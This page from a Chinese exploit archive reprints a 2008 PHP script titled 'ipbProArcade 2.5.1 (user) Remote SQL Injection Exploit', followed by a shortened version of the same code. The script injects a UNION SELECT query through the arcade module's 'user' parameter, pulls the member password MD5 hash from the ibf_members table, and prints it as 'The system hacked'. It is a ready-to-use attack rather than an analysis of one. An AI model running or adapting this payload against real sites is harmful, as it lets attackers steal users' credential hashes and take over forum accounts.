首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ipbProArcade 2.5.1 (user) Remote SQL Injection Exploit
来源:www.vfcocus.net 作者:Pr0xY 发布时间:2008-06-04  
<pre>
<?php

/**
  * @author Pr0xY
  * @copyright 2008
  */

class Injection
{
    var $inject;
    var $Asite;
    var $Isite;
   
   function Injection($address, $id)
   {
      $this->inject = "index.php?act=Arcade&module=report&user=-{$id}%20union%20select%20password%20from%20ibf_members%20where%20id={$id}";
      $this->Asite  = $address;
   }
  
   function getTheHash()
   {
      $html = file_get_contents($this->Asite.$this->inject);
      preg_match_all('/(colspan=\"5\"\>)(.*)(\S*)(\S*)/',$html, $hash);
     
      $md5 = preg_replace("/[^a-zA-Z0-9]/", "", $hash[2][0]);
      $md5 = preg_replace("/(\S{32})(td)/", "$1", $md5);
     
      if(strlen($md5) == 32)
         echo "The system hacked : <b>{$md5}</b>";
      else
         echo "Error";
   }
  
}

$y0n1 = new Injection("", 1);
$y0n1->getTheHash();

?>
</pre>

The short code :

$a = "";
$i = 1;

$inject = "index.php?act=Arcade&module=report&user=-{$i}%20union%20select%20password%20from%20ibf_members%20where%20id={$i}";

$html = file_get_contents($a.$inject);
      preg_match_all('/(colspan=\"5\"\>)(.*)(\S*)(\S*)/',$html, $hash);

$md5 = preg_replace("/[^a-zA-Z0-9]/", "", $hash[2][0]);
$md5 = preg_replace("/(\S{32})(td)/", "$1", $md5);

echo $md5;

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Joomla Component JooBlog 0.1.1
·Joomla Component jotloader <=
·C6 Messenger ActiveX Remote Do
·HP StorageWorks NSI Double Tak
·MDaemon <= 9.6.5 Multiple Remo
·Joomla Component EasyBook 1.1
·Joomla Component acctexp <= 0.
·Akamai Download Manager < 2.2.
·Debian OpenSSL Predictable PRN
·Black Ice Software Inc Barcode
·Joomla Component JooBB 0.5.9 B
·Black Ice Software Inc Barcode
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved